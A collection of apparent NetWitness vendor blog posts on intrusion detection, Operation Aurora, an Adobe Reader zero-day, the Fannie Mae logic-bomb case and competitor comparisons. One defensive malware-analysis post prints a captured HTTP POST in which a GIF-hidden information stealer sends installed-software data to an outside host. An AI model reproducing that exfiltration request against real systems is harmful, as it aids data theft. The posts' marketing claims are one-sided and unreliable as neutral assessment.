The news is rife with discussions about systemic failures in the intelligence community.  It is a good thing we do not judge information security on the same scale of success.  I know of not a SINGLE enterprise network that is not being repeatedly compromised with a deluge of malicious code.  Can you imagine a world where we expected our anti-virus to actually protect us?  Weren’t we all talking years ago about what would happen when people began writing custom code to attack YOU.  Our most ubiquitous security problem today is certainly malicious code, and after recommending “Malware Bytes” to my 10^th family member or friend last month to undo a successful phishing or drive-by infection, this problem certainly does single out anti-virus products as “anti-success.”  So why do I pick on Intrusion Detection as the winner for institutionalizing failure in our security organizations?

I believe IDS started several negative trends that are still affecting the psyche of security personnel today.  For the first several years, all iterations of IDS were so prolific in their alerting that they have provided a decade long after-taste.  Some would argue they still are.  The very concept was flawed from the beginning, and only considered because we had lost control and understanding of our networks.   Systems and disk were simply not fast enough, or large enough to analyze or understand our networks.  We decided that we must look to technologies and solutions to determine what is bad on our network, ignoring the rest — and we turned to our first magic pill.

Whatever the case, they were the solutions that made “false positives” a mainstream security term. Think about that term for just a minute.  To have “false positives,” intrinsically implies that there could be some perfect solution.  That it is conceivable, much less possible, to actually determine what is bad on your network.  The problem was certainly not fixed as the vendors began marketing prevention, and the vast majority of IPSs employ little to no prevention because of the likelihood of false positives.

Now consider how many magic pills followed in the IDS wake.  Remember when DDOS was the threat?  A crop of DDOS mitigation products were made available to fix that problem.  Where are those products today?  Worms, Code Red and Nimda – gave rise to a swath of behavioral analytics products.  If I remember correctly – we were suppose to see Insider Threat as the next big thing a few years ago?  Weren’t data leakage and content monitoring systems supposed to plug that gap?  And all along this timeline, I need to manage this unmanageable amount of logs – so let me invest in SIM/SIEM.  SIM/SIEM not enough – perhaps you should look at the “Big Fix.”  The list could go on and on and on.

This is just a sampling of what you need to protect your networks, given the premise that you can automagically determine bad from good, based on some mythical perfect ruleset.  And oh yes, don’t forget – if you need help you can outsource it.  In the wake of “aurora”, and systemic compromises of some of the largest, most technology savvy companies in the United States, perhaps more will realize that compromise is INEVITABLE.  If sponsored adversaries want to get into your network, they will LIKELY SUCCEED.

We are chasing our tails, still looking for that magic pill that will secure our networks, and have not once stopped to reconsider our approach.  I single out IDS because it was the first, and loudest failure in the security space.  I believe it showed the world that security products do not have to work often or at all, but can be marketed and sold successfully. I believe it began the cycle of point solutions that has created a generation that believes it is possible to secure our networks without understanding them.

It is time to realize, that you will not know what is bad today, until tomorrow.  That you will not know the damage caused for hours, days, weeks or even months.  No matter what you invest in, nothing can protect you from what you do not know.  The threats we face tomorrow will not be the same as today.  And most importantly – you are doomed to failure if you rely on some magic solution to determine what is bad.

Instead of building our defenses based on a hodgepodge of point solutions, designed to fix yesterdays problems, why don’t we invest a modicum of our resources into an architecture that can analyze, interpret and record what is happening on your network – yesterday, today and tomorrow. Can we for a moment, invest in regaining an understanding of what is traversing our network, and create a capability to adapt to tomorrows problems?  That is the benefit in deploying NextGen.

A potential customer, after receiving a demo, commented recently on a single rule based alert that was added to a session during analysis called “suspicious file type” – saying the alert was a false positive because the executable downloaded was not malicious.  I corrected him, and not just semantically, that there are no “false positives” here.  There are simply flagged sessions based on intelligence, which add additional data elements.  If you choose to write a rule that alerts when someone downloads an executable, it will do so.  It does not make the assumption that that is a bad executable.  Humans do that.   Sure a single alert can be more valuable than others. Sure we can take a signature and incorporate it. However, it is the preponderance of the complete session analysis – perhaps various alerts, threat intelligence, and a deep detailed understanding of everything that happened in that session — all over time that provides your analysts the ability to ask very detailed and probing questions into your network — and get answers back immediately. Concerned about leakage?   Ask those question of the system.  Concerned about compliance, ask.  Concerned about malware downloads – ask.  Insiders?   Targeted PDFs?  Obfuscated javascript?  Proprietary information?  Law enforcement?  By analyzing it all, we give you a platform for answers.

“Not good enough” he said…  “It needs to tap my analyst on the shoulder and say Hey – look at this!”

“Ah – like an IDS” I responded.  He wanted a magic pill.   Institutionalized Failure.

We recently sent an opt-in email to our contact database talking about the significance of Operation Aurora and the continued ascendancy and lack of advanced threat prevention/detection in many government and commercial organizations.  We also offered a NetWitness proof-of-concept (POC) to security folks concerned about this issue.  And security people should be concerned.

A noted security blogger correctly observed that we were “amplifying FUD” in our email blast to get people’s attention.   His blog post raises a classic issue facing security professionals – does FUD help bring an issue like this to top of mind.  Or:  To FUD, or not to FUD.

It’s really unfortunate that FUD became a dirty word when compliance and “risk management” took over the security budget, but that’s when many organizations, began to fail at security too.  While many people, particularly some CIOs in hindsight, would argue that compliance has helped increase the focus and spending on information security, I would argue that it has distracted many security programs into performing a large number of basically low impact or worthless activities in the name of metrics, versus FUD.  And, compliance certainly has sponsored a whole class of expensive security technologies and related total ownership costs (TCO) which drain the security budget.

There’s also an unfortunate psychology involved here.  Many security professionals feel guilty or inadequate using FUD as an argument because all the other I/T people have real metrics and we don’t.  To some, it’s like when we were kids and everyone had Converse “Chuck Taylor” All-Star high tops and you were the one with the red Pro-Keds.  Security people can’t talk about how many “9’s” of network uptime we have, or how much we have improved call center response time, or improved the total cost per terabyte of enterprise storage.   Security sucks at producing decent metrics — and the ones we do produce, generally stink even more at reducing the fear of being owned by national-sponsored or organized criminal groups or the uncertainty and the doubts regarding the security of information in a world of advanced threats.  Security people cringe when some C-level executive compares the cost of information security to the cost of insurance – “No one likes to pay for it, but just like your car insurance, you have to have it.”  Ugh!  So, we hate the FUD argument – both when we have to use it as an argument, or when someone uses it to trivialize what we all do for a living.

But I do not think security professionals should feel this way.  I think that FUD still has a lot of usefulness in the toolkit of the security professional and within the enterprise security program, if applied in the right doses to the right places.  One of my favorite Websites is fudsec.com.  There are many good, bad and ugly uses of FUD cited here, for example, one of the good ones is Anton Chuvakin’s post, “A Treatise on FUD” – required reading for any committed FUDists.

With regard to advanced threats and other types of network visibility problems, I encourage the use of a combination of FUD and proof.  The FUD comes in the form of security professionals updating their discussion track to highlight the real causes of many cyber losses in 2010, and the need for more focus on threat intelligence and operational security versus other types of spending.  Current issues such as Operation Aurora should be analyzed for relevance, and briefed to senior management, and should be coupled one of the more credible surveys that show that most data losses result from advanced threat or sophisticated exploit/malware sources.

In the end, you will have to produce real evidence, however, and that’s why we put the POC offer on the table in our e-mail blast.   FUD should only go so far — you should show your colleagues the smoking gun with your own organization’s data.   We as a vendor could put out all the FUD-sounding marketing statistics in the world about how our approach will make you more effective at changing the face of FUD to a smile than other alternatives, but you will only believe it when it produces results in your organization, you can bank those results, and it actually reduce the FUD for yourself and your CEO.   This is how it should be.

I was helping a fortune customer yesterday determine if they were targeted by Operation Aurora. From everything we know to date, they were not. How do we know this? We looked. In 15 minutes or so, we looked back over the last 6 months of every bit and byte that has left that company, and compared every hostname, IP address, and HTTP URL that have been associated with these attacks. This is the power of full network surveillance, and this is why you MUST be performing real-time continual deep analysis of your network activities.

There is a discussion today of some of the malware, and zero day exploits out of McAfee. They are now calling this Operation “Aurora”. In the post, George Kurtz discusses how APT, or Advanced Persistent Threats is changing the security landscape once again. It is a message, and the discussion we at NetWitness have been pushing for years. While this attack has gone largely unnoticed for months, NetWitness customers have all the historic evidence necessary to assess damage. For some, this means gaining rapid confidence that they were not compromised. For some, it means rapid damage assessment, capturing evidence, and using everything they learn to increase their security today. As I watch the best security teams in the world struggle to collect evidence of this attack over the course of days or weeks, I cannot help but wonder how much easier it would have been had we been in place.

In early December, we were called into one of the affected companies, in partnership with a large service provider. Within days, we had NetWitness gear recording at every major gateway in the country, and were scheduling international deployments. While it appears that the damage was already done to this company long before we arrived, we were instrumental in shutting down many other infestations, as well as identifying hundreds of systems that were displaying abnormal or concerning communication patterns. Had this company been a NetWitness client only 30 or 60 days before, I am absolutely confident we would have been able to bring this particular activity to light weeks earlier.

We have been reaching out to our customers, providing them details of the communication that Operation Aurora utilized, along with very simple instructions that allow them to look back over time and reassess their security. One thing is certain, while we may not know the vector of a specific attack until after the fact, it is imperative that we have the ability to quickly assess the damage and retain evidence.

This is why we must begin recording our network activity NOW. Giving your network some form of memory is an absolute imperative, and the foremost defense against APT. Furthermore, simple recording is not enough. Good luck if your recording architecture is IP based. Customers of NetWitness can search the URLs, hostnames, and other application level beaconing activities in seconds. Try doing this by scanning over 50 terabytes of packet data manually. Had this attack employed more sophisticated hosting or resolution techniques like fast flux, and even the IP addresses would have been useless.

George is absolutely correct in his assessment that the landscape has changed. These types of organized, sponsored attacks are here to stay. I am sure those in the financial community, used to dealing with advanced ACH fraud and highly targeted attacks by the Russian Business Network are sitting back this morning and saying “Welcome to the party, pal!”

Welcome to the party, pal!

Did NetWitness actually release a new product that consists of a bucket filled with sand? The answer is yes, but the real question is why? We released B.O.S. in an attempt to sound the wake-up call…

Organizations can no longer afford to rely so heavily on perimeter based technologies, on signatures for identification of threats – and they cannot hide their heads in the sand and hope that nothing goes wrong.  Every day, things are going incredibly wrong.   Prevention alone is an epically failing strategy.

2009 can easily be called the year of advanced threats. The scary thing is that the same can be said for every year over the last five. Despite all efforts, attacks and data losses are getting progressively worse, not better.  During the past five years there have been thousands of breaches reported - impacting state and local government, small and medium sized businesses, multi-national organizations and some of the most sensitive branches of the U.S. Government.   No one is immune and the sickness is literally life threatening.

Imagine for a moment how many breaches went unreported…imagine how many have gone completely undetected.  This is a frightening reality highlighted by the 2009 Verizon Business Data Breach report which found that 49% of breaches went undiscovered for a period of months…and 70% of breaches went completely undetected by internal teams. How is this possible?

The answer is both simple and frightening – the technologies on which organizations have come to rely  aren’t able to prevent, detect, and combat the advanced threats of 2010.

Today’s security technologies are better suited for fighting the cyber-war of 1995 than they are for dealing with today’s advanced threats. The cyber-criminal underground and nation-sponsored groups are using teamwork, custom-developed malware, third-party vulnerabilities via exploit kits, and code obfuscation to bypass existing security technologies and perceptions of security derived from compliance efforts. Because of the industry’s overreliance on signature based technologies, security managers are under the false assumption that they are protected. Too much faith has been placed in firewalls, IDS/IPS, anti-virus, anti-spam and other perimeter platforms to catch the threats.  The current cyber war footing is analogous to bringing a knife to a gun battle – security leaders are reliant upon technologies designed to fight the cyber-war of 10 years ago…our adversaries are fighting with weapons of today.

So, what can be done?

In today’s threat environment it is vitally important that all organizations develop an effective, real-time capability to detect, analyze and respond rapidly to advanced threats.  During the last three years, many of the top security teams in the government and commercial sectors have turned to the advanced threat intelligence and real-time network forensics provide by NetWitness NextGen. The only way to truly know what is going on within the network is to look at everything that is going on within the network. Full packet capture and session recreation are the only ways to accomplish this end.  Where NetWitness NextGen is deployed, the result is an effective threat intelligence program and continuous augmented awareness that provides in-depth visibility into network events that escape existing network security monitoring tools.

In 2010, you should not be buying a bucket of sand.  To combat the advanced threats we now face, organizations must:

1) Reject “status quo” and compliance-focused thinking and acknowledge that prevention is a failing strategy when facing advanced threats;

2) Focus on real-time detection and rapid investigation of advanced attacks to shorten the risk exposure window of any incident;

3) Build an internal security team that is tailored for advanced threat detection and that is armed with an enterprise-wide, real-time, network forensics capability to achieve optimal network visibility…

In short…when looking to combat advanced threats, organizations should be using NetWitness NextGen.

Hey gang…Alex here…writing from the NetWitness Labs…

At NetWitness, our focus is on providing analytics, and we are constantly looking at new ways to apply our unique analytics to the realm of content development.  We know that we have really cool technology and want to showcase that as well as push the envelope of what is possible in this space.   If you’ve seen the recent rule update on the freeware welcome page you are seeing the results of these efforts first hand.

If you’ve been following the threat landscape for the past few years, you will know without question that malware is a key part of both cybercrimal and nation-state hacking activity.   You also know that current security technologies are woefully inadequate in detecting targeted and obfuscated malware.  Keeping a network secure requires knowledge of normalcy on your network as well a cutting edge technology to quickly make you aware of deviations from this normalcy.

Part of this concept is using knowledge of what’s “normal” to define what’s “abnormal”.   In this example I’ll use windows executables.  We know from common IT knowledge that windows executables often end with an “.exe” extension (among others).   Those with a forensic background also know that Windows executables are forensically identifiable by looking for a file signature that includes common “tells”.   An example of this is the PE file header,  commonly refereed to as “MZ”.

If I take these existing bits of knowledge and combine them, I have the basis for a detection of “abnormal” executables as follows:

“If forensic signature equals windows executable,  but the file extension doesn’t equal a known executable extension, let me know about it!”

With this concept in mind, one of my extremely talented coworkers (Gary Golomb), put together a flex parser with the sole purpose of detecting file signatures on the wire.   Think of a forensic analysis of filetypes using a dedicated host forensic tool like Encase or Forensic Tool Kit, but on the network and in real-time.   We’ve been testing this parser in various scenarios as warranted, and recently made an interesting discovery while at a client site.

During this engagement, we began investigating hits on our “file signature windows executable” parser, which is designed to generate “alert” metadata in the NetWitness framework when it detects forensic executable tells.

Meet 343njpl.jpg:

One of the files that triggered this alert was the following file, which was downloaded from the “tinypic.com” file hosting service and was named 343njpl.jpg:

When I look at this file forensically,  I see an interesting inconsistency.   The file header identifies the file as a GIF, not a JPG.  Something is amiss!

Digging further…I see that there is, in fact, an executable file header buried in the file:

What’s interesting to note here, is that this file renders as a GIF correctly in a web browser, so if you were to wander across it during an investigation, it would not be readily apparent that it is hiding an executable.

With this new knowledge,  We then submitted the file to virustotal to determine if it is known malicious.   The results were not promising, with 3 detections out of 41:

http://www.virustotal.com/analisis/073a4210835e026712e5aa08e18004eabe9c8c4dc7b4565db47a34e38b565b8b-1258144380

At this point we really wanted to dig deeper and figure out what this file is trying to do,  so we opened the file in a hex editor and carved the EXE out of the file, then resubmitted to virustotal…results were much better this time, but still only about 65% with 27 out of 41 detections.

http://www.virustotal.com/analisis/0ccfe86dc2ab9cd8b9f589bae6666c903af8de2ee2bfcce4dc8464346b4e761a-1256743615

Ok…so we know that this file is indeed malicous now.  So what does it actually do?    If we use some malware analysis techniques, we discover that this initially reports installed applications to a webserver in the netherlands:

POST /65/logpl.php HTTP/1.1
Referer: http://google.com/
Content-Type: application/x-www-form-urlencoded
User-Agent: hello
Host: www2.sexown.com
Content-Length: 692
Cache-Control: no-cache

pl=plV:1.1|Adobe_Flash_Player_10_ActiveXV:10.0.22.87|Explorer_Suite_III|IDA_Pro_D
emo_v5.4|InstallWatch_Pro_2.5|Malcode_Analyst_Pack_v0.21|Microsoft_.NET_Framework
_3.5_SP1|Mozilla_Firefox_(3.5)V:3.5 (en-US)|Notepad++V:5.4.4|Paros_3.2.13|Windows
_XP_Service_Pack_3V:20080414.031525|WinPcap_4.1_beta5V:4.1.0.1452|Wireshark_1.2.0
V:1.2.0|Mandiant_Red_CurtainV:1.0.0|Python_2.6.2V:2.6.2150|Java(TM)_6_Update_14V:
6.0.140|WebFldrs_XPV:9.50.7523|Mandiant_Web_HistorianV:1.3.0|Mandiant_Highlighter
V:1.1.1|MemoryzeV:1.3.1000|Microsoft_.NET_Framework_3.0_Service_Pack_2V:3.2.30729
|Microsoft_.NET_Framework_2.0_Service_Pack_2V:2.2.30729|Microsoft_.NET_Framework_
3.5_SP1V:3.5.30729|VMware_ToolsV:7.9.6.5197|

So let’s review the facts:

- A file that strays from the expected norm is detected by NetWitness technology, being served from a common file hosting site.

- This file properly renders as a GIF in a web browser, but contains an embedded executable.

- Malware detection on this sample in its embedded form is dismal, but gets better when the executable is extracted from the GIF.

- Using behavioral analysis, we can determine that the attached executable is an information stealer, at the very least.

Tied to an alerting mechanism in Netwitness Informer, we could have this alert sent directly to an enterprise SOC for response, informing them of unusual executable behavior, without having to rely on signature-based malware controls!

NetWitness….letting you see your network like never before.  

I was at the CSI show yesterday and was within earshot of one of our “competitors” who claimed that they were winning against NetWitness because they support 10Gbps and we do not.   I have heard this story frequently from this particular firm, and it’s a bunch of bull.

It amazes me that companies in this space, such as Niksun and Solera Networks, spend so much time emphasizing how they allegedly can capture at 10Gbps line rates – as if that’s the most important requirement for public and private organizations struggling to cope with critical advanced threats, complex data leakage scenarios, network forensics, designer malware and botnet infestations, and increasing insider crime and fraud.

Solera Networks publicly asserts that their product was certified by Miercom Labs as 10Gbps capable.  If you look at the report on their Website, however (http://www.soleranetworks.com/resources/Solera%20DS5100_Miercom%20test.pdf), you will see that a top capture rate of 8.1 Gbps was achieved solely when the “packet size” was forced to 1,518 bytes.  At other packet sizes, the performance dropped off steadily.

The practical application of the Miercom report for Solera Networks is dubious in the real world.  For example, let’s assume that in Miercom’s vernacular “packet size” is equal to “message transmission unit” (MTU).  1,518 is the maximum MTU for the transmission of data over IEEE 802 networks according to RFC 1042.  But it is unrealistic to imagine that every consecutive packet on a customer network would be 1,518.  In fact, the typical default MTU setting for devices such as routers and servers processing a protocol such as HTTP over TCP/IP is 576 – most network and system administrators today work under this assumption.  In a real customer environment with a large amount of HTTP traffic, the Miercom numbers would put the theoretical Solera throughput somewhere around 6Gbps, versus the claimed 10Gbps.  Real life is different than the lab, however, and the reality is that customer application-layer traffic produces actual average MTUs of far less than 576, thereby lowering the potential performance results below the assertions made by some vendors to something more like an average MTU of 300 — or a throughput of around 3Gbps according to the Miercom results.

Such misleading lab reports also do not address other concerns, such as the technical challenges associated with capturing at a 10Gbps on single network appliance, given physical bus bandwidth constraints and disk write speed limitations — and still offering meaningful and timely analytics to security users.  Every vendor who is engineering solutions in this space has confronted this dynamic — but most vendors do not address this problem in their marketecture because they do not have a solution.

As the consumer of solutions in this space, you should be aware of this:   The reason this issue is not discussed in any meaningful way by some vendors is because they have no real-time automated and interactive analytical capability beyond basic and often erroneous network statistics.

Consider this screenshot from Solera Networks post-facto user console:

Notice specifically the port assumptions made by the product:

To assume in 2009 that TCP ports 80 and 443 are inclusive to web traffic simply is ridiculous.  Not only is this type of analysis absurd from a network forensics perspective, but also would seem at odds with the term “deep packet inspection”.  Consider the following drill into the HTTP service using NetWitness Investigator, on even a single day of capture from the NetWitness corporate HQ:

This screenshot represents only a small portion of the available information about the HTTP protocol.  This level of detail is possible because NetWitness does complete port agnostic session analysis in an automated real-time manner, upon collection.  You cannot get there from here with other vendors like Niksun and Solera Networks.  One of the vendor’s Websites says it most succinctly:

“Once you find the traffic flow you are looking for, you can download a PCAP file of just that data and analyze the traffic using any tool that analyzes PCAP files. Or you can save it for later and use it to analyze when you have time or need evidentiary proof of malicious activity.”

There are some pretty big and unfortunate “IF”s that customers should consider before engaging with any vendor operating under such assumptions:

1.  How do I actually go about “finding the traffic you are looking for” within tens or perhaps hundreds of terabytes of data in post-facto analysis?

2.  Why would I “save it for later” and “analyze it when you have time” when it could be something critical that requires immediate attention?  The assumption is that nothing here has a sense of urgency.

3.  Forget about real-time incident response, automated analytics, or integration with your SIEM or other existing security tools…not addressed.

4.  Your organization’s security staff still has to use NetWitness Investigator to satisfy the “analyze the traffic using any tool that analyzes PCAP files” requirement in order to use this vendor’s product — and that after finding both the haystack and the needle, which you would have found already had you been using NetWitness.

All this discussion highlights the value of working with NetWitness, an engineering company dedicated to solving the important problems of security professionals, law enforcement, intelligence analysts and other people focused on cyber security issues.  NetWitness offers a 10Gbps solution and it is running on some of the largest networks in the world — we’ve been doing it for a while — but we do it in a sensible way.  We do not go to market trying to sell you “disk write speeds” or “appliance capture rates” – that’s a waste of your money and should not be the most important focus for you.   Unlike anyone else in this space, we provide an infinitely extensible data framework, real-time automated analytics, live data fusion and threat intelligence, and the best network forensics interface in the market today.  Without all that, you are just filling up disk drives.

Chairman and CEO of NetWitness, Amit Yoran, gave testimony yesterday to the House Committee on Homeland Security regarding the Review of the Federal Cyberspace Mission.  The House Committee wanted Mr. Yoran’s input based on his leadership in cyber security in the private and Federal space and his experiences as the first Director of the National Cyber Security Division (NCSD) and standing up the United States Computer Emergency Readiness Team (US-CERT) and Einstein program at the Department of Homeland Security (DHS), and as founder and CEO of Riptech.

Below is his five-minute summary to the Committee.

Ms. Chairwoman and members of the committee, thank you for the opportunity to testify before the Homeland Security Committee on Reviewing the Federal Cybersecurity Mission and for your attention to this important topic.

My name is Amit Yoran and I have a lot to say, so I’ll skip reading you my bio and jump into it.

Any effective national cyber effort must leverage the intelligence community’s superior technical acumen and scalability.  However, it is in grave peril if this effort is dominated by the intelligence community.  Simply put, the intelligence community has always and will always prioritize its own collection efforts over the defense and protection of our government’s and nation’s digital systems.  Where intelligence operations discover a compromise, the decision to inform system defenders or not, lacks transparency.  Mission conflict exists between those defending systems and those attempting to collect intelligence or counter intelligence insights.

The current series of cyber programs call for billions of dollars in funding for intelligence and centralized security efforts but are designed with very little emphasis on helping defenders better protect the systems housing our valuable data and business processes.  For instance the Center for Disease Control, which houses sensitive research and information about biological threats such as Anthrax, has ongoing cyber incidents which it lacks the personnel and technologies to adequately investigate,  In the face of spending billions more on centralized cyber intelligence activities, the CDC’s cyber budget is being cut by 37%.

Intelligence focused, our national cyber efforts are over-classified to the point where catastrophic consequences are highly probable.  High levels of classification prevent the sharing of information necessary to adequately defend systems.  For instance, IP addresses, when classified cannot be loaded into defensive monitoring systems.  It also creates insurmountable hurdles when working with a broad range of government IT staffs that do not have appropriate clearances, let alone when trying to communicate or partner with the private sector.

Classification cannot be used effectively as a cyber defensive technique, only one for avoiding responsibility and accountability. Over-classification leads to a narrowly limited review of any program.  One of the hard learned lessons from the Terrorist Surveillance Program (TSP) is that such limited review can lead to ineffective legal vetting of a program.  The cyber mission cannot be plagued by the same flaws as the TSP.

An immediate, thorough and transparent legal analysis of the governance, authorities, and privacy requirements should be performed on both the efforts used to protect IT systems as well as all cyber collection activities.  Given the broad concerns of over-classification and its cascading consequences, conducting these reviews must be a high priority task.

Cyber research investments are practically nonexistent at a time when bold new visions need to be explored.

The Department of Homeland Security (DHS) has demonstrated inefficiency and leadership failure in its cyber efforts.  While pockets of progress have been made, administrative incompetence and political infighting have squandered meaningful advancement and for years now, while our adversaries continue to aggressively press their advantage. DHS has repeated failed to either attract or retain the leadership and technical acumen required to successfully lead the cyber mission.  While the tendency would be to move the cyber mission to the NSA, it is ill advised for all of the reasons provided in my much longer written testimony.  We must enable civil government to succeed at its defensive mission or also concede that the private sector must be subjugated to intelligence support.

DHS is the natural and appropriate placement for public private partnership and cooperative activities, including those in cyber.  The current set of public private partnerships is at best ill defined.  They categorically suffer from meaningful value creation or private sector incentive.

Such incentives might include tax credits, fines, liability levers, public recognition, or even occur at an operational level, through mechanisms such as the sharing of threat intelligence, technical knowledge or incident response support to name just a few.

Trust relationships when dealing in cyber security matters are critical.  In discussions among privacy and civil liberties groups the role of the NSA in monitoring or defending US networks is debated.  Should such intelligence programs exist, DHS should be very careful before participation in, supporting  or engagement in these activities.   The department’s ability to fulfill its primary mission and responsibilities may be permanently damaged by a loss of public confidence and trust.

At a bare minimum, in order to preserve public trust, any interaction with domestic intelligence collection efforts should be explicitly and clearly articulated.  Such transparency will increase public trust and confidence and offset concerns raised by uncertainty and the uninformed.

DHS must be formally charged with and enabled to build an effective cyber capability in support of securing federal civilian systems.

Special provisions should be made in the hiring, contracting, human resources and political issues within the cyber mission of DHS to prevent it from remaining a victim of the department’s broader administrative failures.

DHS should also be given specific emergency authorities to address security concerns in civil systems, to include the ability to measure compliance with security standards, protocols and practices and take decisive action where organizations are not applying reasonable standards of care.

At present the operations cybersecurity arm of DHS, the US-CERT, remains politically torn apart into three components and completely subjugated to a cadre of detailees from the intelligence community.  In order to regain efficiency, the department’s operational security role activites must be reconsolidated in the US-CERT.  This operational mission is not resourced to succeed with less than 20 government FTEs, and a budget of only $67 million.  Additionally, the US-CERT must be led by a single federal civil executive.

The US-CERT must be provided appropriate staffing levels to move forward and given adequate funding.  Not doing so cannot help but send the strongest message to the cyber community, the rest of government, the intelligence community and the critical infrastructure in the private sector that cybersecurity does not matter to DHS leadership and should not matter to them.

A newly focused US-CERT should report directly to the Secretary of DHS, just as NTOC reports to the Director of the NSA.  The cyber responsibilities of the department must not remain buried in the bureaucracy of DHS or, alternatively, they must be removed and placed in an independent agency where they can succeed.

Amit Yoran’s full written testimony is available for download from the Committee website here.

Video archival footage of this Committee proceeding is available here.

On February 19th, Adobe confirmed reports that its version 9 software of Adobe Acrobat and Adobe Reader were vulnerable to buffer overflows that have allowed some companies to be targeted in spearphishing attacks.

Their announcement said:

A critical vulnerability has been identified in Adobe Reader 9 and Acrobat 9 and earlier versions. This vulnerability would cause the application to crash and could potentially allow an attacker to take control of the affected system. There are reports that this issue is being exploited.

Adobe is planning to release updates to Adobe Reader and Acrobat to resolve the relevant security issue. Adobe expects to make available an update for Adobe Reader 9 and Acrobat 9 by March 11th, 2009. Updates for Adobe Reader 8 and Acrobat 8 will follow soon after, with Adobe Reader 7 and Acrobat 7 updates to follow. In the meantime, Adobe is in contact with anti-virus vendors, including McAfee and Symantec, on this issue in order to ensure the security of our mutual customers.

McAffee’s Avert Lab Blog has screenshots of the buffer overflow in action here. They go on to say:

Needless to further remind everyone, zero-day attacks are the preferred choice of cyber criminals and will continue to be so in 2009. If the recent W32/Conficker.worm (MS08-087) and Exploit-XMLhttp.d (MS08-078, MS09-002) were not good enough to prove our point, here is another one.

As a reminder, the Better Business Bureau phishing scam successfully exploited many large companies last year by sending emails with malicious .PDF attachments to executives of those companies. And since there will not be a patch in place until Mid-March, extra vigilance is required to prevent this exploit from affecting you.

Zero Day exploits don’t typically remain targeted against just a few enterprises for long. Within days we expect this exploit to accompany broader mass phishing attempts. And given the IRS tax season, perhaps malicious .Pdf’s will be seen targeting taxpayers via email.

A senior Unix administrator known only as “SK” admitted she got lucky when she found the malicious script planted in a development server on the network.  “The malicious script was at the bottom of the legitimate script, separated by approximately one page of blank lines, apparently in an effort to hide the malicious script within the legitimate script,” states an affidavit filed against Rajendrasinh Makwana, an Indian citizen living in the United States under a work visa.  Makwana is accused of illegally accessing Fannie’s network after being fired from the job. Had the script executed as planned, 4000 servers at Fannie would have been wiped clean tomorrow, January 31st.

According to an InformationWeek article here:

The discovery occurred on Oct. 29. Makwana had been terminated as a Fannie Mae contractor on Oct. 24, around 1 or 1:30 p.m., the affidavit says, but his network access was not terminated until late that evening. Makwana was fired for allegedly creating a computer script earlier that month that changed server settings without the permission of his supervisor.

Makwana was not required to turn in his badge or Fannie Mae-supplied laptop until the end of the day on Oct. 24. According to Nye’s affidavit, it was during that afternoon that Makwana is alleged to have planted the malicious script.

Makwana had planted his script by using his existing credentials over an encrypted channel.  Since his accounts were still active and his access rights still in place, no technological solution could have prevented or stopped such an attack.  But it clearly highlights the threats posed by internal users.

Information security is sometimes more about enforcing procedures than policies.  In Makwana’s case, the policies were followed for a termination in that accounts were disabled by the end of the employee’s last working day, but the procedures perhaps could have included building security escorting the employee and  the timely confiscation of corporate equipment.

Everyone wants to trust their employees as friends and colleagues.  And enforcing a procedure that requires a security guard to watch the employee pack his things and turn in building passes, credentials, laptops, phones, and other personal items just makes your company look like a cruel, bullying entity.  However, not following such a process could jeopardize your data.

We are pleased to be a part of the DoD CyberCrime Conference in chilly St. Louis Missouri.  Conference goers should feel free to stop by, say hello, and check out the demonstrations of our NextGen software.